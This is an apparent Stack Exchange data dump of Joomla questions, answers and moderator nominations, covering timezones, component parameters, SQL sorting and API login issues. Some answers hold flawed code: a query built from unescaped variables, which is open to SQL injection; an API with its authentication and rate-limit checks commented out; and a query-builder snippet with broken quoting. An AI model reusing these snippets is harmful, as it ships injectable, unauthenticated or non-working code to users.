  <row Id="29063" PostTypeId="1" CreationDate="2021-04-29T09:41:57.867" Score="0" ViewCount="88" Body="&lt;p&gt;In the UK, we have GMT (Greenwhich Mean Time) for half the year and then we put the clocks forward by an hour to BST (British Summer Time) for the other half of the year.&lt;/p&gt;&#xA;&lt;p&gt;How can I handle this issue within Joomla?  Currently all of my modified dates in my component are incorrect by an hour.  I know Joomla! bases it on the server time, so I guess I could speak to my host.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to handle this otherwise?&lt;/p&gt;&#xA;&lt;p&gt;In response to Hugh's comment, my Joomla configuration settings are set to London, and it has always been, so I don't think this is the reason.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12352" LastEditDate="2021-05-01T02:26:50.517" LastActivityDate="2024-01-16T08:07:25.880" Title="How can I use JDate to work with UK times to include BST and GMT?" Tags="|date|jdate|timezone|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="29064" PostTypeId="2" ParentId="29041" CreationDate="2021-04-29T12:12:26.047" Score="1" Body="&lt;p&gt;It turns out this functionality is built into Fabrik, but has to be manually enabled, to do so:&#xA;Open Fabrik Component Options in Administrator&#xA;In the Forms Tab:&#xA;Set Enhanced Dropdowns either to per element or to yes (if set to per element, then this also needs to be enabled on a per element basis in the element)&lt;/p&gt;&#xA;&lt;p&gt;Note this function is marked as WIP (Work in Progress) in Fabrik 3.9.2&lt;/p&gt;&#xA;" OwnerUserId="15169" LastActivityDate="2021-04-29T12:12:26.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29066" PostTypeId="1" CreationDate="2021-04-29T13:14:54.460" Score="0" ViewCount="58" Body="&lt;p&gt;There is some issue on my site when users visit directly &lt;a href=&quot;http://spcrepsite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://spcrepsite.com&lt;/a&gt; (without www.) it works accurately, But when &lt;a href=&quot;http://www.spcrepsite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.spcrepsite.com&lt;/a&gt; (include www.) it will show (homepage) that page without login which is not correct.&lt;/p&gt;&#xA;&lt;p&gt;If the user did not log in it should show a login page.&lt;/p&gt;&#xA;&lt;p&gt;If anyone directly opens &lt;a href=&quot;http://www.spcrepsite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.spcrepsite.com&lt;/a&gt; it shows the following message but show all the content&lt;/p&gt;&#xA;&lt;p&gt;Please login first&lt;/p&gt;&#xA;" OwnerUserId="15195" LastActivityDate="2024-01-16T20:07:20.820" Title="Login Error Joomla 2.5" Tags="|php|joomla-2.5|router|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29068" PostTypeId="2" ParentId="29035" CreationDate="2021-04-30T09:15:23.087" Score="1" Body="&lt;p&gt;Even though you have found a solution to your issue I thought you might still like to understand what I think is going on.&lt;/p&gt;&#xA;&lt;p&gt;'Remember Me' doesn't keep a user logged in as you might think, it actually stores a Cookie in the browser and when the user returns to your website the Cookie is checked and it will then log the user on without prompting them for a username or password.&lt;/p&gt;&#xA;&lt;p&gt;So what is happening in your description is a user requests the API, a 'Remember Me' Cookie is found in the browser and that user is logged in automatically and the API code is happy that they are logged in.&lt;/p&gt;&#xA;&lt;p&gt;Anyone &lt;strong&gt;without&lt;/strong&gt; a 'Remember Me' Cookie is therefore not logged automatically in and they fail the check in your post function, not because &amp;quot;...the error code appears and the user is immediately logged out.&amp;quot;, it is because they were never logged in in the first place and this generated the error message.&lt;/p&gt;&#xA;&lt;p&gt;If you look at examples/documentation on AJAX you will see many suggest the use of a Token that is passed to API to identify the requester and that they are logged in already, otherwise the API has no idea about the state of the requester and assumes they are not logged in.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-04-30T09:15:23.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29069" PostTypeId="6" CreationDate="2021-04-30T12:51:31.230" Score="0" Body="&lt;h2&gt;Peter Martin&lt;/h2&gt;&#xA;&lt;p&gt;Hi, I'm Peter Martin from The Netherlands. As Joomla volunteer I have had various roles within the project over the years. Since 2006 I am helping as Global Moderator in Joomla Forum.&lt;/p&gt;&#xA;&lt;p&gt;My day job is having my own company to build Joomla website, technical support and programming custom extension for other businesses.&lt;/p&gt;&#xA;&lt;p&gt;In my hometown I organize a monthly Open Coffee business meetup (since 2009), a monthly Linux Usergroup (since 2012), and co-organize a local Joomla Usergroup (since 2018).&lt;/p&gt;&#xA;&lt;p&gt;I like to share my Joomla (and Linux) knowledge and enthusiasm: in the digital world via technical forums, and in real life via presentations at Joomla User Groups and Joomladays.&lt;/p&gt;&#xA;&lt;p&gt;I am a regular user of (Joomla) Stack Exchange and would like to help out as moderator.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-04-30T12:51:31.230" LastActivityDate="2021-04-30T12:51:31.230" CommentCount="2" CommunityOwnedDate="2021-04-30T12:51:31.230" ContentLicense="CC BY-SA 4.0" />
  <row Id="29070" PostTypeId="2" ParentId="29063" CreationDate="2021-04-30T17:58:06.670" Score="0" Body="&lt;p&gt;There are a number of ways of doing this then, it does depend a lot on how the server is setup, but if you have access to the .htaccess file in your public_html folder (where Joomla is installed) you could add the following line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php_value date.timezone 'Europe/London'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would recommend creating a file called phpinfo.php (delete it afterwards)&#xA;which contains&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;phpinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you search this file for date.timezone it will tell you what the local and server values are.&lt;/p&gt;&#xA;" OwnerUserId="15169" LastActivityDate="2021-04-30T17:58:06.670" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="29071" PostTypeId="1" CreationDate="2021-05-01T08:52:25.917" Score="1" ViewCount="209" Body="&lt;p&gt;As I understand it, the current values of a component configuration are stored as JSON in the params field of the #__extensions database table, in the entry that matches the component name as element. Presumably the recommended way to obtain the current configuration is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = ComponentHelper::getParams($element)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(although the user side application object has a method for obtaining the configuration without specifying the element, this seems not to exist on the admin side).&lt;/p&gt;&#xA;&lt;p&gt;The configuration can be changed in software using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;set($name, $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The issue then is how to store the new configuration. Ideally one might use a method in Joomla, but I cannot find a suitable one. Does one exist?&lt;/p&gt;&#xA;&lt;p&gt;Assuming the storing has to be done by a database update, I find (by experiment) that the $params object converted to string cannot be used in a SQL statement because of problems of character escaping. Although it makes legal SQL, the result is that Joomla can no longer handle the configuration. In order to get storage to work, I have derived the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $sql = &amp;quot;UPDATE #__extensions SET params = '%s' WHERE type = 'component' AND element = 'com_example'&amp;quot;;&#xA;    $json = str_replace('\\\\&amp;quot;', '\\\\\\&amp;quot;', addcslashes($this-&amp;gt;params, '&amp;quot;'));&#xA;    $sql = sprintf($sql, $json);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works for the fairly complex configuration I am using. But my question is, does it work for all possible configurations? And is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="15057" LastEditDate="2021-05-01T09:18:48.147" LastActivityDate="2024-02-17T02:04:15.533" Title="How to store component parameters after modification" Tags="|sql|json|component-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29072" PostTypeId="2" ParentId="588" CreationDate="2021-05-01T10:49:14.827" Score="1" Body="&lt;p&gt;Try to use XENU Link checker. It checks all links and marks broken links.&lt;/p&gt;&#xA;&lt;p&gt;It has to be installed and ran on Windows.&lt;/p&gt;&#xA;" OwnerUserId="15201" LastEditorUserId="12524" LastEditDate="2021-05-05T18:51:25.197" LastActivityDate="2021-05-05T18:51:25.197" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29073" PostTypeId="1" CreationDate="2021-05-01T13:24:41.280" Score="1" ViewCount="38" Body="&lt;p&gt;I have a form with lots of fields including editor fields that display using jce/codemirror. I have buttons that call the submitbutton.js which builds a string from other elements in the form. I can use a function to update the text field by using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.getElementById('jform_title').value = com_title.concat(', ', com_version, ', ', com_exploit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I cannot do the same to an editor window due to the way Joomla renders it. Any attempt to access the elements results in javascript saying Uncaught TypeError.&lt;/p&gt;&#xA;&lt;p&gt;I read that&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.editors.instances['jform_description'].setValue(com_descript)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;would work but it doesn't update the form.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="15191" LastEditorUserId="12352" LastEditDate="2021-05-01T13:33:36.510" LastActivityDate="2021-05-01T13:33:36.510" Title="How can I update a Joomla form editor box contents from Javascript?" Tags="|javascript|editor|joomla-4|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29074" PostTypeId="2" ParentId="29050" CreationDate="2021-05-01T13:41:58.747" Score="0" Body="&lt;p&gt;HTMLHelper needs to be told where to search for custom classes,&#xA;try adding HTMLHelper-&amp;gt;addIncludePath('YOUR PATH') with the path to your component.&lt;/p&gt;&#xA;&lt;p&gt;If you want you could load libraries/src/HTML/HTMLHelper.php and look around after line 126. That's where it goes looking for the custom class information.&lt;/p&gt;&#xA;&lt;p&gt;It looks like you are attempting to make an href link, is this the case?&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-01T13:41:58.747" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29075" PostTypeId="2" ParentId="29066" CreationDate="2021-05-01T13:44:13.640" Score="0" Body="&lt;p&gt;I encountered something similar in firefox where the cache was different for each domain name. Perhaps if you clear your browser caches for both sites www and non-www it will appear correctly for you.&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-01T13:44:13.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29077" PostTypeId="2" ParentId="29071" CreationDate="2021-05-02T11:44:46.427" Score="0" Body="&lt;p&gt;I suggest you take a look at the LibraryHelper class. Looking at the source for this, it gives access to the extensions table and contains the saveParams method.&lt;/p&gt;&#xA;&lt;p&gt;Class reference is: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.LibraryHelper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.LibraryHelper.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source code: libraries/src/Helper/LibraryHelper.php&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-02T11:44:46.427" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29078" PostTypeId="2" ParentId="29046" CreationDate="2021-05-03T05:49:53.693" Score="0" Body="&lt;p&gt;I don't think there's a way to check specifically for a timeout. Timeout acts as a connection failure and results in an exception being thrown when calling &lt;code&gt;$http-&amp;gt;get($url)&lt;/code&gt;. Which you are already catching.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-05-03T05:49:53.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29079" PostTypeId="1" CreationDate="2021-05-03T08:39:43.417" Score="0" ViewCount="1165" Body="&lt;p&gt;I am using a filter on a smart searchbar, I only want to search for tags, categories and articles.&lt;/p&gt;&#xA;&lt;p&gt;When I am using the filter and I search for example tags, it won't show any result.&lt;/p&gt;&#xA;&lt;p&gt;If I deactivate the filter then everything will show but then it won't be filtered anymore...&lt;/p&gt;&#xA;&lt;p&gt;How can I make the filter work and show results ?&lt;/p&gt;&#xA;&lt;p&gt;Filtered :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mHMML.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mHMML.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;Unfiltered :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CO43d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CO43d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15206" LastActivityDate="2021-05-05T09:10:02.163" Title="Smart search filter not working" Tags="|joomla-3.x|search|smartsearch|content-filtering|filter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29080" PostTypeId="2" ParentId="29035" CreationDate="2021-05-03T11:44:52.850" Score="2" Body="&lt;p&gt;The problem was that techjoomla's api package had it's own functions for ACL that were designed to work with mobile phone apps.  These introduced their own logic for determining whether a user was logged in.&lt;/p&gt;&#xA;&lt;p&gt;To solve the issue I simply commented out the functionality (and deleted the relevant files to save some disk space).&lt;/p&gt;&#xA;&lt;p&gt;Below is an excerpt from my edited file:  ../site/api.php  This shows the lines that must be edited out to reproduce this solution.&lt;/p&gt;&#xA;&lt;p&gt;Please note that this code is still copyright Techjoomla and is licenced under GNU GPLv2&lt;/p&gt;&#xA;&lt;p&gt;@copyright   Copyright (C) 2009-2014 Techjoomla, Tekdi Technologies Pvt. Ltd. All rights reserved.&#xA;@license     GNU GPLv2 &lt;a href=&quot;http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;$library_path = JPATH_COMPONENT . '/libraries';&#xA;&#xA;JLoader::register('APIController', $library_path . '/controller.php');&#xA;JLoader::register('APIModel', $library_path . '/model.php');&#xA;JLoader::register('APIView', $library_path . '/view.php');&#xA;JLoader::register('APIPlugin', $library_path . '/plugin.php');&#xA;JLoader::register('APIError', $library_path . '/error.php');&#xA;JLoader::register('ApiException', $library_path . '/exception.php');&#xA;JLoader::register('APICache', $library_path . '/cache.php');&#xA;JLoader::register('APIResource', $library_path . '/resource.php');&#xA;&#xA;//I don't think we need the following lines for the WDT.  HE.&#xA;&#xA;//JLoader::register('APIAuthentication', $library_path . '/authentication.php');&#xA;//JLoader::register('APIAuthenticationJfbconnect', $library_path . '/authentication/jfbconnect.php');&#xA;//JLoader::register('APIAuthenticationKey', $library_path . '/authentication/key.php');&#xA;//JLoader::register('APIAuthenticationLogin', $library_path . '/authentication/login.php');&#xA;//JLoader::register('APIAuthenticationSession', $library_path . '/authentication/session.php');&#xA;JLoader::register('APIHelper', $library_path . '/helper.php');&#xA;JTable::addIncludePath(JPATH_ROOT . '/administrator/components/com_api/tables');&#xA;JLoader::discover('API', JPATH_COMPONENT . '/libraries/exceptions');&#xA;&#xA;$app = JFactory::getApplication();&#xA;&#xA;$view = $app-&amp;gt;input-&amp;gt;get('view', '', 'CMD');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also commented out the follow code that called the libraries listed above.  This code is in ../site/libraries/plugin.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//$user = APIAuthentication::authenticateRequest();&#xA;//$this-&amp;gt;set('user', $user);&#xA;//$session = JFactory::getSession();&#xA;//$session-&amp;gt;set('user', $user);&#xA;&#xA;//$access = $this-&amp;gt;getResourceAccess($resource_name, $this-&amp;gt;request_method);&#xA;&#xA;//if ($access == 'protected' &amp;amp;&amp;amp; $user === false)&#xA;//{&#xA;//  ApiError::raiseError(403, APIAuthentication::getAuthError(), 'APIUnauthorisedException');&#xA;//}&#xA;&#xA;//if (! $this-&amp;gt;checkRequestLimit())&#xA;//{&#xA;//  ApiError::raiseError(403, JText::_('COM_API_RATE_LIMIT_EXCEEDED'), 'APIUnauthorisedException');&#xA;//}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="14667" LastEditDate="2021-05-03T12:28:52.743" LastActivityDate="2021-05-03T12:28:52.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29081" PostTypeId="1" CreationDate="2021-05-03T12:07:25.837" Score="2" ViewCount="219" Body="&lt;p&gt;When a component is installed, it seems that until the user updates the configuration (using the &amp;quot;Options&amp;quot; button) a request to get the component parameters from Joomla returns an essentially empty object. The request:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = Joomla\CMS\Component\ComponentHelper::getParams('com_example);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;results in a $params object that does not give values for $params-&amp;gt;get('parmname'). It seems that the XML (config.xml) is not used during installation to create default parameters, but is only used when the user updates the &amp;quot;options&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, creating a new Registry object and using the method loadFile on config.xml does not produce a usable parameters object either. So a component that relies on parameter values (defaults will do until the user chooses something else) does not work on first installation.&lt;/p&gt;&#xA;&lt;p&gt;Have I misunderstood something? Is there a solution to this?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-01-24T10:54:36.983" Title="Immediately after install getParams returns an empty configuration. How to get the defaults?" Tags="|component-params|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29082" PostTypeId="1" AcceptedAnswerId="29134" CreationDate="2021-05-03T13:08:40.840" Score="1" ViewCount="354" Body="&lt;p&gt;I wrote an override in Joomla 3.X and sorted the result from the DB using this query, which works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = &amp;quot;SELECT content.*, fieldvalues.*&#xA;          FROM #__content AS content,&#xA;               #__fields_values AS fieldvalues&#xA;          WHERE content.catid=&amp;quot; . $catid . &amp;quot;&#xA;            AND content.id = fieldvalues.item_id&#xA;            AND fieldvalues.field_id=418&#xA;            AND fieldvalues.value LIKE '%&amp;quot; . $sorttype . &amp;quot;%'&#xA;          ORDER BY fieldvalues.value ASC;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to sort this result in multiple ways. Actual sortfield is the author, but if an author has published multiple titles I would like to sort it also by release date, which will be &lt;code&gt;fieldvalues.field_id=412&lt;/code&gt;, but I have no idea how to create a functional SQL query.&lt;/p&gt;&#xA;" OwnerUserId="15210" LastEditorUserId="12352" LastEditDate="2021-05-15T12:45:49.630" LastActivityDate="2021-05-15T12:52:52.177" Title="Join #__content with #__fields_values then filter and sort using #__fields_values data" Tags="|joomla-3.x|mysql|custom-field|sql|pivot|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="29083" PostTypeId="2" ParentId="29082" CreationDate="2021-05-03T13:37:52.693" Score="0" Body="&lt;p&gt;Your best bet would be to use joomla db to get all the rows and then use php array sorts to analyse and sort the result. Something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $db = Factory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;&#xA;    $query-&amp;gt;select('content.*');&#xA;    $query-&amp;gt;select('fieldsvalues.*');&#xA;    $query-&amp;gt;from('`#__content` AS content');&#xA;&#xA;    $query-&amp;gt;from('`#__fields_values` AS fieldvalues');&#xA;&#xA;    $query-&amp;gt;where('content.id = fieldvalues.field_id');&#xA;    $query-&amp;gt;where('content.catid = '.$db-&amp;gt;quote($catid));&#xA;    $query-&amp;gt;where('fieldvalues.field_id=418');&#xA;    $query-&amp;gt;where('fieldvalues.value LIKE '%&amp;quot; . $db-&amp;gt;quote($sorttype) . &amp;quot;%');&#xA;    $query-&amp;gt;order('fieldvalues.value ASC');&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    //output string to make sure is okay?&#xA;    //echo $query-&amp;gt;__toString();exit();&#xA;&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach ($rows as $item)&#xA;    {&#xA;        &#xA;    }&#xA;    /* or do analysis and then use php sorting functions */&#xA;&#xA;    return $rows;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15191" LastEditorUserId="15191" LastEditDate="2021-05-03T14:41:41.177" LastActivityDate="2021-05-03T14:41:41.177" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29084" PostTypeId="1" AcceptedAnswerId="29086" CreationDate="2021-05-03T13:42:47.420" Score="1" ViewCount="402" Body="&lt;p&gt;I'm trying to get all the articles from a specific category with a specific value in one of the custom fields (com_fields) I have created.&lt;/p&gt;&#xA;&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;setState('params', JFactory::getApplication()-&amp;gt;getParams());&#xA;$model-&amp;gt;setState('filter.category_id', 22);&#xA;&#xA;$articles = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This brings up 2 different problems.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It gets all the articles from a specific category. But without the com_fields values&lt;/li&gt;&#xA;&lt;li&gt;This gets all the articles, and in adding the com_fields values I can filter these articles but the problem is that it put unnecessary load on the webserver. Is there some sort of better solution to only get the articles with the custom field value?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-05-03T14:28:07.157" Title="Get article list based on custom field value (com_fields)" Tags="|articles|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29085" PostTypeId="2" ParentId="29081" CreationDate="2021-05-03T13:45:39.333" Score="0" Body="&lt;p&gt;It looks like your installer script is missing a line to store the global extension params. Is this Joomla 3 or 4?&lt;/p&gt;&#xA;&lt;p&gt;----- Adding to answer&lt;/p&gt;&#xA;&lt;p&gt;Here's an example of code from one of my components built using Joomla Component Builder.&lt;/p&gt;&#xA;&lt;p&gt;Assuming your component is called mycom&#xA;In your mycom.xml file add&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;add a file script.php to your install folder&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;class com_mycomInstallerScript&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     */&#xA;     public function __construct(JAdapterInstance $parent)&#xA;     {&#xA;     }&#xA;    /**&#xA;     * Called on installation&#xA;     *&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     *&#xA;     * @return  boolean  True on success&#xA;     */&#xA;    public function install(JAdapterInstance $parent)&#xA;    {&#xA;    }&#xA;&#xA;    /**&#xA;     * Called on uninstallation&#xA;     *&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     */&#xA;    public function uninstall(JAdapterInstance $parent)&#xA;    {&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;     * Called on update&#xA;     *&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     *&#xA;     * @return  boolean  True on success&#xA;     */&#xA;    public function update(JAdapterInstance $parent)&#xA;    {&#xA;    }&#xA;&#xA;    /**&#xA;     * Called before any type of action&#xA;     *&#xA;     * @param   string            $type    Which action is happening (install|uninstall|discover_install|update)&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     *&#xA;     * @return  boolean  True on success&#xA;     */&#xA;    public function preflight($type, JAdapterInstance $parent)&#xA;    {&#xA;    }&#xA;&#xA;    /**&#xA;     * Called after any type of action&#xA;     *&#xA;     * @param   string            $type    Which action is happening (install|uninstall|discover_install|update)&#xA;     * @param   JAdapterInstance  $parent  The object responsible for running this script&#xA;     *&#xA;     * @return  boolean  True on success&#xA;     */&#xA;    public function postflight($type, JAdapterInstance $parent)&#xA;    {&#xA;        // get application&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // set the default component settings&#xA;        if ($type === 'install')&#xA;        {&#xA;            // Install the global extenstion params.&#xA;            $db    = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            // Field to update.&#xA;            $fields = array(&#xA;                $db-&amp;gt;quoteName('params') . ' = ' . $db-&amp;gt;quote('{&amp;quot;authorName&amp;quot;:&amp;quot;Your Name&amp;quot;,&amp;quot;authorEmail&amp;quot;:&amp;quot;Your email&amp;quot;,&amp;quot;your config.xml param&amp;quot;:&amp;quot;your config.xml param value&amp;quot;}'),&#xA;            );&#xA;            // Condition.&#xA;            $conditions = array(&#xA;                $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('com_mycom')&#xA;            );&#xA;            $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $allDone = $db-&amp;gt;execute();&#xA;&#xA;        }&#xA;        // do any updates needed&#xA;        if ($type === 'update')&#xA;        {&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15191" LastEditorUserId="12352" LastEditDate="2021-05-06T10:58:44.260" LastActivityDate="2021-05-06T10:58:44.260" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29086" PostTypeId="2" ParentId="29084" CreationDate="2021-05-03T14:28:07.157" Score="1" Body="&lt;p&gt;Looking at the source code for com_content - ArticlesModel does not have any filtering capabilities for custom fields. What it does have is tag filtering, so would it be possible to modify your code so that instead of writing a value to a custom field you instead assign a custom tag to the article which you can then use filter.tag when getting your ContentModel?&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-03T14:28:07.157" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="29087" PostTypeId="6" CreationDate="2021-05-03T16:29:37.277" Score="0" Body="&lt;h1&gt;Harald Leithner&lt;/h1&gt;&#xA;&lt;p&gt;Being a Joomla! Stack Exchange member for over 7 years, even if I was not much active lately the community here is the one I really care for. I'm currently Release Lead of Joomla! 3.x and therefore I think a perfect fit to connect the community with production.&lt;/p&gt;&#xA;&lt;p&gt;A few years ago I was already a Stack Exchange moderator and know what are the in and outs of this position. Currently I'm also one of the developers for the coming Joomla! 4 release and have deep insight into the Joomla! framework and structure. This could bring benefit to the whole Stack Exchange community.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla! Stack Exchange group deserved every effort one can spend to let it grow and develop. I'm willing to spend this effort and dedicate my time and knowledge as moderator.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2021-05-03T16:29:37.277" LastActivityDate="2021-05-03T16:29:37.277" CommentCount="0" CommunityOwnedDate="2021-05-03T16:29:37.277" ContentLicense="CC BY-SA 4.0" />
  <row Id="29088" PostTypeId="6" CreationDate="2021-05-03T19:41:55.313" Score="0" Body="&lt;h1&gt;Zollie&lt;/h1&gt;&#xA;&lt;p&gt;I have also been with Joomla since its beginning (2005 and a bit even before). In the first few years as an admin then as a custom Joomla extension developer.&lt;/p&gt;&#xA;&lt;p&gt;The help and support that this community can provide are unparalleled and it has been an incredible source of info and knowledge base for me too in the years, thanks to the volunteers who are continually providing a lot of help here.&lt;/p&gt;&#xA;&lt;p&gt;I’ve been being a moderator in the last 13 years in another community and it has been providing me a good overview of what is expected from a person who is in this position. Of course, Joomla Stackexchange has its own specific rules and operation structure which makes this space different from any other online community on this planet. It requires much more attention on keeping this platform clear, clean, and focused on helping solving problems and helping this platform to build an even better knowledge base for future visitors, users, admins, and developers.&lt;/p&gt;&#xA;&lt;p&gt;I also consider having more contributions as an important goal of this community.&lt;/p&gt;&#xA;&lt;p&gt;In this position I will try to take a good part of this very important responsibility.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-05-03T19:41:55.313" LastActivityDate="2021-05-03T19:41:55.313" CommentCount="0" CommunityOwnedDate="2021-05-03T19:41:55.313" ContentLicense="CC BY-SA 4.0" />
